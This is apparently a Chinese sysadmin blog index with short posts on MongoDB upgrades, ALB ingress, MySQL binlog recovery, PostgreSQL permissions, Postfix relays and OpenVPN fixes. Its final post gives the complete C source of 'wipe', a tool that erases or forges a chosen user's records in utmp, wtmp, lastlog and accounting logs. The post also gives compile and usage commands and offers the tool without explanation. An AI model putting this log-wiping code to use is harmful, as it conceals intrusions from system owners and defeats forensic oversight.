mongodb 如何升级

mongodb 公司现在运行的版本是mongodb 4.2.19,在处理allowDiskUse的时候失败 对比了一下,似乎另外一个集群跑的是5.0.5,就没有问题 那就升级一下,步骤如下: 首先下载 5.0.30 wget --no-check-certificate https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian11-5.0.30.tgz 然后解压弄好,准备好mongodb.conf dump下来老数据,不加·–quiet·的参数有可能会遇到EOF的错误 mkdir mongobackup cd mongobackup mongodump --quiet 然后杀掉4.2.19,启动5.0.30,把数据回灌回去,同样要用--quiet参数 cd mongobackup mongorestore --quiet 这样就OK了。 注意,mongo 是吃内存大户,如果备份不下来,或者恢复不进去,请增加内存。 曾有过一次,8G->16G->32G 才成功。 而且必须一个一个db进行备份,一个一个db进行恢复,记得备份 admin 数据库 mongodump -d message mongorestore --port 37017 --drop --nsInclude=message.*

2025年01月22日 · 1 分钟 · 39 字 · 八戒

AWS alb 负载均衡做ingress的注意事项

管理了一个AWS的EKS集群,用的是ALB的负载均衡,这个负载均衡和Nginx有区别,有很多特殊的地方需要注意。 基本需要宣告很多独有的 annotations 一、http自动跳转到https annotations: alb.ingress.kubernetes.io/actions.ssl-redirect: | {"Type": "redirect", "RedirectConfig": { "Protocol": "HTTPS", "Port": "443", "StatusCode": "HTTP_301"}} ...... - host: '*.bajie.dev' http: paths: - backend: service: name: ssl-redirect port: name: use-annotation path: / pathType: Prefix 注意,annotation了上面一条,那么在LB中,http 80的规则就只剩下这一条了,压倒一切的规则。 之后你再annotation别的http规则,会不生效;你只能去annotition https的规则。 二、www重定向 例子: 输入 rendoumi.com,会自动重定义到 www.rendoumi.com annotations: alb.ingress.kubernetes.io/actions.www-redirect: | {"type":"redirect","redirectConfig":{"host":"www.rendoumi.com","port":"443","protocol":"HTTPS","statusCode":"HTTP_301"}} ...... - host: rendoumi.com http: paths: - backend: service: name: www-redirect port: name: use-annotation path: / pathType: Prefix 这个是直接301跳转到https去了 ...

2025年01月20日 · 2 分钟 · 257 字 · 八戒

Mysql的某个表恢复到某一个时间点的操作

同事上线,把数据库初始化脚本改了名。结果导致上线把库表的数据全给重新初始化了。这下事来了,恢复库表。 之前用过阿里云的库表恢复,非常简洁,那这次也照猫画虎学一回,步骤如下: 一、保存现在的记录: 把所有相关的binlog拷贝到一个备份目录保存。 二、最好新建一个mysql实例: 阿里确实事新起了一个实例,避免操作对旧实例造成影响。 我们实战中可能没必要,但也要封锁数据库的读写: iptables -I INPUT -p tcp --dport 3306 -j DROP # 把自己放通,后续可能自己要进行 mysql 或 mysqldump 的操作 iptables -I INPUT -s 127.0.0.1/32 -p tcp --dport 12530 -j ACCEPT 三、解析binlog 我们需要把重放日志拿出来: mysqlbinlog --start-datetime="2025-01-02 14:40:00" --stop-datetime="2025-01-02 14:50:00" --verbose binlog.000009 |grep -i -C15 "drop table"|more mysqlbinlog binlog.000009 --stop-position=260734003 --database=work_oa > 9.sql 注意,分析:看到 at 260734003 下面有个 drop table ,说明是在 260734003 之后发生了 drop table 操作 所以,回放到260734003就可以了。之后、之后、之后才操作的!!! /*!80014 SET @@session.original_server_version=80019*//*!*/; /*!80014 SET @@session.immediate_server_version=80019*//*!*/; SET @@SESSION.GTID_NEXT= 'ANONYMOUS'/*!*/; # at 260734003 #200311 20:06:20 server id 1 end_log_pos 355 CRC32 0x2fc1e5ea Query thread_id=16 exec_time=0 error_code=0 SET TIMESTAMP=1583971580/*!*/; SET @@session.pseudo_thread_id=16/*!*/; SET @@session.foreign_key_checks=1, @@session.sql_auto_is_null=0, @@session.unique_checks=1, @@session.autocommit=1/*!*/; SET @@session.sql_mode=1168113696/*!*/; SET @@session.auto_increment_increment=1, @@session.auto_increment_offset=1/*!*/; /*!\C utf8mb4 *//*!*/; SET @@session.character_set_client=255,@@session.collation_connection=255,@@session.collation_server=255/*!*/; SET @@session.lc_time_names=0/*!*/; SET @@session.collation_database=DEFAULT/*!*/; /*!80011 SET @@session.default_collation_for_utf8mb4=255*//*!*/; DROP TABLE `pets`.`cats` /* generated by server */ /*!*/; # at 260734009 #200311 20:07:48 server id 1 end_log_pos 434 CRC32 0x123d65df Anonymous_GTID last_committed=1 sequence_number=2 rbr_only=no original_committed_timestamp=1583971668462467 immediate_commit_timestamp=1583971668462467 transaction_length=473 # original_commit_timestamp=1583971668462467 (2020-03-11 20:07:48.462467 EDT) # immediate_commit_timestamp=1583971668462467 (2020-03-11 20:07:48.462467 EDT) /*!80001 SET @@session.original_commit_timestamp=1583971668462467*//*!*/; /*!80014 SET @@session.original_server_version=80019*//*!*/; /*!80014 SET @@session.immediate_server_version=80019*//*!*/; SET @@SESSION.GTID_NEXT= 'ANONYMOUS'/*!*/; # at 260734188 #200311 20:07:48 server id 1 end_log_pos 828 CRC32 0x57fac9ac Query thread_id=16 exec_time=0 error_code=0 Xid = 217 use `pets`/*!*/; SET TIMESTAMP=1583971668/*!*/; /*!80013 SET @@session.sql_require_primary_key=0*//*!*/; CREATE TABLE dogs 我们还是先找到 binlog 中 drop table 之类的操作字样,然后确定 position 后,把 binlog.00009 中之前的 log 导出。 ...

2025年01月03日 · 2 分钟 · 378 字 · 八戒

设置Mysql自动定时删除xxljob的日志数据

xxl-job的日志数据实在是太大了,压根就没有清理过,设置一个定时任务来定时删除无用的废数据吧: 首先要确认定时任务开关已经打开了 show variables like 'event_scheduler'; On表示开启 然后到指定的库下,use k8s_xxl_job CREATE EVENT delete_k8s_xxl_log ON SCHEDULE EVERY 1 DAY DO DELETE FROM xxl_job_log WHERE trigger_time < CURRENT_TIMESTAMP - INTERVAL 7 DAY; 保留今天的数据,以及前7天的老数据。 查看以及编辑定时任务的命令: #查看 show events; #查看细节 SHOW CREATE EVENT delete_k8s_xxl_log #编辑 ALTER EVENT delete_k8s_xxl_log ON SCHEDULE EVERY 1 DAY DO BEGIN -- 在这里添加你想要执行的操作 END;

2024年03月20日 · 1 分钟 · 53 字 · 八戒

阿里云DMS管理数据库变更审批流

其实我们用的是yearning来管理 MySQL 数据库变更需求的,但是,类似 Oracle 或者 PolarDB,就用不成了。 这事只能交给阿里云的dms来管理了,其实dms要比yearning强大很多,可以精确控制到表的行级别权限的。 理由就是dms是个web页面,代理连接到后端的数据库,所以要显示什么,不要显示什么,从web界面是完全可以控制的。实际到数据库级别反而有的是控制不住的。 这就梳理一下建立审批流的步骤: 一、dms同步ram用户 ram用户是管理的基础了,这些用户必须先行导入dms,我们才能进一步赋予owner,DBA的权限 用户管理–>同步子账号,选择要dms要使用的账号同步过来即可 二、设定实例DBA DMS里的权限是这样的:库的话有Owner,然后实例的话有DBA,最上是管理员。 那么一个实例里有几万张表,没人会想一个一个点击赋Owner的权限吧。 那就粗分一下,一个人对整个实例有权限审批即可。这样要先设定整个实例的DBA角色。 我们先编辑用户,让他有DBA的角色,以供之后在实例级别可以选择他 然后去实例管理里面: 选择实例的右边,更多–>编辑实例 实例的账号、密码、安全协同、安全规则都选上,然后高级信息里,实例DBA就可以选择刚才设置了DBA角色的人了 三、设置审批流程 然后去安全与规范,审批流程,新增审批模板,来自定义审批流 我们公司的审批流不是380缺省那个,380是需要三个人审批的: 我们的链路就很建单了,有操作权限的人找实例的DBA审批,然后过最高管理员批就完了,所以做如下的流程: 四、设置安全规则 我们再到安全与规范,点击安全规则,找到具体实例里设置的 强管控模式 for MySQL 可以看到已经有2个实例用上了,然后到右边,点击编辑: 最主要的就是SQL变更,数据变更默认审批模板的设置,我们改成我们自己的审批流即可 其他的选项都可以按需进行修改。 五、设置用户权限 如上审批流就完成了,我们要登录具体的实例列表,再更多里设置权限 注意上面是设置的实例级别的权限。 如果要设置更细级别的库、表、行权限,需要点击数据库列表 在这里面的表详情的右边更多,可以控制库、表、行的权限 这样就可以弄完整个流程了。

2024年03月05日 · 1 分钟 · 38 字 · 八戒

邮箱地址无效导致群发邮件失败

这个问题十分的讨厌啊,Bi大数据部会群发报表邮件,但是如果有某位员工离职了,邮件地址被清理掉不存在了,那么群发邮件的时候会导致群发失败。 网上搜索了一圈,阿里有篇文章是同样问题: https://blog.csdn.net/javaee_sunny/article/details/114836546 解决方法是修改发送程序,剔除掉失效的邮件地址再发。 这个方法在我们这里是行不通的,因为发送程序没人维护了,无法修改。 那就只能曲线救国了:建立一个转发服务器,把群发邮件变成一封一份单独发,那么偶尔一份失败就失败了,不会导致整个群发的失败。 搭建一个Postfix relay转发服务器: vi /etc/postfix/main.cf relayhost = [smtp.qiye.aliyun.com]:587 smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtp_sasl_security_options = noanonymous smtp_use_tls = yes smtp_tls_CAfile = /etc/pki/tls/certs/ca-bundle.crt smtp_sender_dependent_authentication = yes smtp_destination_recipient_limit = 1 message_size_limit=102400000 解释:转发到阿里邮件服务器的标准配置,网络上已经有很多教程了。然后关键就一条smtp_destination_recipient_limit = 1,这个就会把群发的邮件拆成单独的一封一封发送,发不出去的会回到queue尝试不断发送,最后失败drop掉。 另外postfix缺省发送邮件的大小是10M,阿里邮局缺省是50M,我们需要修改一下,message_size_limit=102400000改成100M的限制。 最后生成一下邮件用户的hash库: vi /etc/postfix/sasl_passwd [smtp.qiye.aliyun.com]:587 report@ddky.com:xxxxxxxx postmap /etc/postfix/sasl_passwd 那么发邮件的时候指定这台服务器,用户名是 report@ddky.com , 密码是xxxxxxxx就可以了 补充,需要安装缺少的库,否则登录阿里邮局过不去,还需要打开服务器的允许网段列表,mynetwork yum install -y cyrus-sasl-plain

2024年03月04日 · 1 分钟 · 55 字 · 八戒

voip的lsusb检测华为猫棒usb地址来回跳动

这不是要出国就提前搭建了一个voip的电话系统么,结果在使用的过程中,华为的猫棒居然出现地址来回跳动的问题。 正常情况下,lsusb的结果 lsusb Bus 001 Device 017: ID 12d1:1436 Huawei Technologies Co., Ltd. Broadband stick 过一阵子,或者持续几天后,地址就变了 lsusb Bus 001 Device 017: ID 12d1:1446 Huawei Technologies Co., Ltd. HSPA modem 看上面,vender id从1436变成了1446,名字也从stick变成了modem 由于这个usb设备是直通到kvm的freepbx虚机里面去的,这直接导致voip系统不能用了,可恶啊。 必须把它给固定下来,首先先从1446变回1436 yum -y install epel-release yum -y install use_modeswitch usb_modeswitch -v 12d1 -p 1446 -c "/usr/share/usb_modeswitch/12d1:1446" 变回来了不成,还得把它彻底固定下来 vi /lib/udev/rules.d/40-usb_modeswitch.rules #装了usb_modeswitch后居然已经自带了 # Generic entry for most Huawei devices, excluding Android phones ATTRS{idVendor}=="12d1", ATTRS{manufacturer}!="Android", ATTR{bInterfaceNumber}=="00", ATTR{bInterfaceClass}=="08", RUN+="usb_modeswitch '%b/%k'" shit,不管它,再次强行固定 vi /lib/udev/rules.d/40-usb_modeswitch.rules、 # Huawei, newer modems ATTR{idVendor}=="12d1", ATTR{idProduct}=="1446", RUN+="usb_modeswitch '%b/%k'" 这样就搞定了,得亏提前发现了这问题,否则跑到国外再发现,就晚了! ...

2024年02月16日 · 1 分钟 · 80 字 · 八戒

PostgreSQL的用户权限管理

公司选用了阿里云的PolarDB做数据库,这个东西其实就是Postgres增加了外挂,可以支持Oracle语法。 没办法,得仔细研究一下Postgres的用户管理了。 PostgreSQL权限架构是宝塔形结构 最上层是实例 实例中允许创建多个数据库 每个数据库中可以创建多个schema, 每个schema下面可以创建多个对象。 对象包括表、物化视图、操作符、索引、视图、序列、函数、… 等等。 上面schema中有个奇怪的东西,public,注意:是小写。 先总结:PUBLIC是缺省的权限,代表所有人的意思(是个角色)。 默认情况下,在创建数据库之后,允许PUBLIC角色(大写)连接,即允许任何人连接。 默认情况下,数据库在创建后,不允许除了超级用户和owner所有者之外的任何人在数据库中创建schema。 默认情况下,在创建数据库之后,会自动创建名为 public 的schema,这个schema的all权限已经赋予给PUBLIC角色(注意是大写),即允许任何人在里面创建对象。 schema级别的权限,包括允许查看schema中的对象(USAGE),以及允许在schema中创建对象(CREATE)。 默认情况下新建的schema的权限不会赋予给PUBLIC角色,因此除了超级用户和owner,任何人都没有权限查看schema中的对象或者在schema中新建对象。 举例来说,建了个库,又建了用户,没给这个用户赋予任何权限。缺省他就从PUBLIC角色继承了对库里的schema.pulic权限,可以连接到这个schema.pulic,并且在这里建临时表、建表、view等等对象,但是没办法建立其它schema。 PostgreSQL的模式(SCHEMA)可以看作是一个表的集合。 一个模式可以包含视图、索引、数据类型、函数和操作符等。 再来说角色: 在数据库中所有的权限都和角色挂钩。 角色和用户的唯一区别在于,角色是nologin的,而用户允许login,仅此而已。 而"PUBLIC"是一个特殊的角色,代表着所有人。 那又有一个问题: 每个PostgreSQL对象都有一个名为“所有者”的特殊角色。只有所有者才能执行某些操作,如 ALTER TABLE ,而你不能将这样的权限授予非所有者。 那不可能只有一个人可以alter表结构吧,我们可以使用角色继承来解决此问题。创建 table_owner 角色并且 GRANT table_owner TO user1, user2 (user1和user2继承table_owner),然后赋权 ALTER TABLE my_table OWNER TO table_owner 赋予table_owner所有者角色。现在表的所有者是 table_owner 了,但是因为 user1 和 user2 是该角色的成员,所以他们也具有继承权限来运行 ALTER TABLE了,如下图 。 啰嗦了这么多,除了修改pg_hba.conf,赋权的命令就两条,grant和revoke,看下图: 进入实战,首先从上到下都看一看,有什么库,有什么schema,有什么对象,有什么表,有什么索引,有什么角色: #推荐用psql来进行管理,有很多快捷键,navicat里面是没有的 #没有的话就装一个 yum install postgresql.x86_64 psql -h 10.8.2.61 -U admin #必用快捷键 #列出所有的库 \l #列出所有的schema \dn #看schema.public权限 \dn+ public #列出所有的对象(table, view, sequences) \d #列出所有的角色 \du #列出所有表 \dt #列出所有索引 \di #同样的sql select * from pg_roles; #看看能登录的用户有哪些 select * from pg_user; 那自顶向下开始: ...

2024年02月05日 · 2 分钟 · 385 字 · 八戒

Openvpn 的一些问题

一些Openvpn问题: 一、OpenVPN - ERROR: Cannot open TUN/TAP dev /dev/net/tun: No such file or directory (errno=2) 没有tun设备,建一个就行: mkdir -p /dev/net mknod /dev/net/tun c 10 200 chmod 600 /dev/net/tun 二、vpn进程掉了 加一个crontab,定时检测,没有就重启 */1 * * * * /usr/local/bin/vpn.sh cat /usr/local/bin/vpn.cn #!/bin/bash vpn_pid=$(ps ax|grep openvpn|grep -v grep|awk '{print $1}') if [[ ! -n "$vpn_pid" ]]; then datetime=$(date +"%Y%m%d %H:%M:%S") echo "Restart openvpn at $datetime" >> /tmp/r.txt sleep 5 /app/openvpn/sbin/openvpn --config /etc/openvpn/conf/client1.conf --daemon fi

2024年01月30日 · 1 分钟 · 69 字 · 八戒

Linux下的擦除工具

Linux下的日志擦除软件,无解释珍藏: gcc -O3 -DHAVE_LASTLOG_H -DNO_ACCT -o wipe wipe.c wipe u root #w 命令擦掉在线的root wipe w root #last 命令擦掉root wipe l root #lastlog 命令擦掉root登录记录 源码如下: /* * Wipe v1.00. * * Written by The Crawler. * * Selectively wipe system logs. * * Usage: wipe [l,u,w] username * ex: wipe l user;wipe u user;wipe w user * * Wipes logs on, but not including, Linux, FreeBSD, Sunos 4.x, Solaris 2.x, * Ultrix, AIX, IRIX, Digital UNIX, BSDI, NetBSD, HP/UX. * compile with -DHAVE_LASTLOG_H -DNO_ACCT */ #include <sys/types.h> #include <sys/stat.h> #include <sys/uio.h> #ifndef NO_ACCT #include <sys/acct.h> #endif #include <utmp.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <ctype.h> #include <string.h> #include <pwd.h> #include <time.h> #include <stdlib.h> #ifdef HAVE_LASTLOG_H #include <lastlog.h> #endif #ifdef HAVE_UTMPX #include <utmpx.h> #endif /* * Try to use the paths out of the include files. * But if we can't find any, revert to the defaults. */ #ifndef UTMP_FILE #ifdef _PATH_UTMP #define UTMP_FILE _PATH_UTMP #else #define UTMP_FILE "/var/adm/utmp" #endif #endif #ifndef WTMP_FILE #ifdef _PATH_WTMP #define WTMP_FILE _PATH_WTMP #else #define WTMP_FILE "/var/adm/wtmp" #endif #endif #ifndef LASTLOG_FILE #ifdef _PATH_LASTLOG #define LASTLOG_FILE _PATH_LASTLOG #else #define LASTLOG_FILE "/var/adm/lastlog" #endif #endif #ifndef ACCT_FILE #define ACCT_FILE "/var/adm/pacct" #endif #ifdef HAVE_UTMPX #ifndef UTMPX_FILE #define UTMPX_FILE "/var/adm/utmpx" #endif #ifndef WTMPX_FILE #define WTMPX_FILE "/var/adm/wtmpx" #endif #endif /* HAVE_UTMPX */ #define BUFFSIZE 8192 /* * This function will copy the src file to the dst file. */ void copy_file(char *src, char *dst) { int fd1, fd2; int n; char buf[BUFFSIZE]; if ( (fd1 = open(src, O_RDONLY)) < 0 ) { fprintf(stderr, "ERROR: Opening %s during copy.\n", src); return; } if ( (fd2 = open(dst, O_WRONLY | O_CREAT | O_TRUNC)) < 0 ) { fprintf(stderr, "ERROR: Creating %s during copy.\n", dst); return; } while ( (n = read(fd1, buf, BUFFSIZE)) > 0) if (write(fd2, buf, n) != n) { fprintf(stderr, "ERROR: Write error during copy.\n"); return; } if (n < 0) { fprintf(stderr, "ERROR: Read error during copy.\n"); return; } close(fd1); close(fd2); } /* * UTMP editing. */ void wipe_utmp(char *who, char *line) { int fd1; struct utmp ut; printf("Patching %s .... ", UTMP_FILE); fflush(stdout); /* * Open the utmp file. */ if ( (fd1 = open(UTMP_FILE, O_RDWR)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", UTMP_FILE); return; } /* * Copy utmp file excluding relevent entries. */ while ( read(fd1, &ut, sizeof(ut)) > 0) if ( !strncmp(ut.ut_name, who, strlen(who)) ) if (!line || (line && !strncmp(ut.ut_line, line, strlen(line)))) { bzero((char *) &ut, sizeof(ut)); lseek(fd1, (int) -sizeof(ut), SEEK_CUR); write(fd1, &ut, sizeof(ut)); } close(fd1); printf("Done.\n"); } /* * UTMPX editing if supported. */ #ifdef HAVE_UTMPX void wipe_utmpx(char *who, char *line) { int fd1; struct utmpx utx; printf("Patching %s .... ", UTMPX_FILE); fflush(stdout); /* * Open the utmp file and temporary file. */ if ( (fd1 = open(UTMPX_FILE, O_RDWR)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", UTMPX_FILE); return; } while ( (read(fd1, &utx, sizeof(utx)) ) > 0) if ( !strncmp(utx.ut_name, who, strlen(who)) ) if (!line || (line && !strncmp(utx.ut_line, line, strlen(line)))) { bzero((char *) &utx, sizeof(utx)); lseek(fd1, (int) -sizeof(utx), SEEK_CUR); write(fd1, &utx, sizeof(utx)); } close(fd1); printf("Done.\n"); } #endif /* * WTMP editing. */ void wipe_wtmp(char *who, char *line) { int fd1; struct utmp ut; printf("Patching %s .... ", WTMP_FILE); fflush(stdout); /* * Open the wtmp file and temporary file. */ if ( (fd1 = open(WTMP_FILE, O_RDWR)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", WTMP_FILE); return; } /* * Determine offset of last relevent entry. */ lseek(fd1, (long) -(sizeof(ut)), SEEK_END); while ( (read (fd1, &ut, sizeof(ut))) > 0) { if (!strncmp(ut.ut_name, who, strlen(who))) if (!line || (line && !strncmp(ut.ut_line, line, strlen(line)))) { bzero((char *) &ut, sizeof(ut)); lseek(fd1, (long) -(sizeof(ut)), SEEK_CUR); write(fd1, &ut, sizeof(ut)); break; } lseek(fd1, (long) -(sizeof(ut) * 2), SEEK_CUR); } close(fd1); printf("Done.\n"); } /* * WTMPX editing if supported. */ #ifdef HAVE_UTMPX void wipe_wtmpx(char *who, char *line) { int fd1; struct utmpx utx; printf("Patching %s .... ", WTMPX_FILE); fflush(stdout); /* * Open the utmp file and temporary file. */ if ( (fd1 = open(WTMPX_FILE, O_RDWR)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", WTMPX_FILE); return; } /* * Determine offset of last relevent entry. */ lseek(fd1, (long) -(sizeof(utx)), SEEK_END); while ( (read (fd1, &utx, sizeof(utx))) > 0) { if (!strncmp(utx.ut_name, who, strlen(who))) if (!line || (line && !strncmp(utx.ut_line, line, strlen(line)))) { bzero((char *) &utx, sizeof(utx)); lseek(fd1, (long) -(sizeof(utx)), SEEK_CUR); write(fd1, &utx, sizeof(utx)); break; } lseek(fd1, (int) -(sizeof(utx) * 2), SEEK_CUR); } close(fd1); printf("Done.\n"); } #endif /* * LASTLOG editing. */ void wipe_lastlog(char *who, char *line, char *timestr, char *host) { int fd1; struct lastlog ll; struct passwd *pwd; struct tm *tm; char str[4]; printf("Patching %s .... ", LASTLOG_FILE); fflush(stdout); tm = (struct tm *) malloc( sizeof(struct tm) ); /* * Open the lastlog file. */ if ( (fd1 = open(LASTLOG_FILE, O_RDWR)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", LASTLOG_FILE); return; } if ( (pwd = getpwnam(who)) == NULL) { fprintf(stderr, "ERROR: Can't find user in passwd.\n"); return; } lseek(fd1, (long) pwd->pw_uid * sizeof(struct lastlog), 0); bzero((char *) &ll, sizeof(ll)); if (line) strncpy(ll.ll_line, line, strlen(line)); if (timestr) { /* YYMMddhhmm */ if (strlen(timestr) != 10) { fprintf(stderr, "ERROR: Time format is YYMMddhhmm.\n"); return; } /* * Extract Times. */ str[2] = 0; str[0] = timestr[0]; str[1] = timestr[1]; tm->tm_year = atoi(str); str[0] = timestr[2]; str[1] = timestr[3]; tm->tm_mon = atoi(str) - 1; str[0] = timestr[4]; str[1] = timestr[5]; tm->tm_mday = atoi(str); str[0] = timestr[6]; str[1] = timestr[7]; tm->tm_hour = atoi(str); str[0] = timestr[8]; str[1] = timestr[9]; tm->tm_min = atoi(str); tm->tm_sec = 0; ll.ll_time = mktime(tm); } if (host) strncpy(ll.ll_host, host, sizeof(ll.ll_host)); write(fd1, (char *) &ll, sizeof(ll)); close(fd1); printf("Done.\n"); } #ifndef NO_ACCT /* * ACCOUNT editing. */ void wipe_acct(char *who, char *line) { int fd1, fd2; struct acct ac; char ttyn[50]; struct passwd *pwd; struct stat sbuf; char *tmpf; printf("Patching %s .... ", ACCT_FILE); fflush(stdout); /* * Open the acct file and temporary file. */ if ( (fd1 = open(ACCT_FILE, O_RDONLY)) < 0 ) { fprintf(stderr, "ERROR: Opening %s\n", ACCT_FILE); return; } /* * Grab a unique temporary filename. */ tmpf = tmpnam((char *) NULL); if ( (fd2 = open(tmpf, O_WRONLY | O_CREAT | O_TRUNC, 600)) < 0 ) { fprintf(stderr, "ERROR: Opening tmp ACCT file\n"); return; } if ( (pwd = getpwnam(who)) == NULL) { fprintf(stderr, "ERROR: Can't find user in passwd.\n"); return; } /* * Determine tty's device number */ strcpy(ttyn, "/dev/"); strcat(ttyn, line); if (stat(ttyn, &sbuf) < 0) { fprintf(stderr, "ERROR: Determining tty device number.\n"); return; } while ( read(fd1, &ac, sizeof(ac)) > 0 ) { if ( !(ac.ac_uid == pwd->pw_uid && ac.ac_tty == sbuf.st_rdev) ) write(fd2, &ac, sizeof(ac)); } close(fd1); close(fd2); copy_file(tmpf, ACCT_FILE); if ( unlink(tmpf) < 0 ) { fprintf(stderr, "ERROR: Unlinking tmp WTMP file.\n"); return; } printf("Done.\n"); } #endif void usage() { printf("USAGE: wipe [ u|w|l|a ] ...options...\n"); printf("\n"); printf("UTMP editing:\n"); printf(" Erase all usernames : wipe u [username]\n"); printf(" Erase one username on tty: wipe u [username] [tty]\n"); printf("\n"); printf("WTMP editing:\n"); printf(" Erase last entry for user : wipe w [username]\n"); printf(" Erase last entry on tty : wipe w [username] [tty]\n"); printf("\n"); printf("LASTLOG editing:\n"); printf(" Blank lastlog for user : wipe l [username]\n"); printf(" Alter lastlog entry : wipe l [username] [tty] [time] [host]\n"); printf(" Where [time] is in the format [YYMMddhhmm]\n"); printf("\n"); #ifndef NO_ACCT printf("ACCT editing:\n"); printf(" Erase acct entries on tty : wipe a [username] [tty]\n"); #endif exit(1); } int main(int argc, char *argv[]) { char c; if (argc < 3) usage(); /* * First character of first argument determines which file to edit. */ c = toupper(argv[1][0]); /* * UTMP editing. */ switch (c) { /* UTMP */ case 'U' : if (argc == 3) wipe_utmp(argv[2], (char *) NULL); if (argc ==4) wipe_utmp(argv[2], argv[3]); #ifdef HAVE_UTMPX if (argc == 3) wipe_utmpx(argv[2], (char *) NULL); if (argc == 4) wipe_utmpx(argv[2], argv[3]); #endif break; /* WTMP */ case 'W' : if (argc == 3) wipe_wtmp(argv[2], (char *) NULL); if (argc == 4) wipe_wtmp(argv[2], argv[3]); #ifdef HAVE_UTMPX if (argc == 3) wipe_wtmpx(argv[2], (char *) NULL); if (argc == 4) wipe_wtmpx(argv[2], argv[3]); #endif break; /* LASTLOG */ case 'L' : if (argc == 3) wipe_lastlog(argv[2], (char *) NULL, (char *) NULL, (char *) NULL); if (argc == 4) wipe_lastlog(argv[2], argv[3], (char *) NULL, (char *) NULL); if (argc == 5) wipe_lastlog(argv[2], argv[3], argv[4], (char *) NULL); if (argc == 6) wipe_lastlog(argv[2], argv[3], argv[4], argv[5]); break; #ifndef NO_ACCT /* ACCT */ case 'A' : if (argc != 4) usage(); wipe_acct(argv[2], argv[3]); break; #endif } return(0); }

2024年01月29日 · 7 分钟 · 1391 字 · 八戒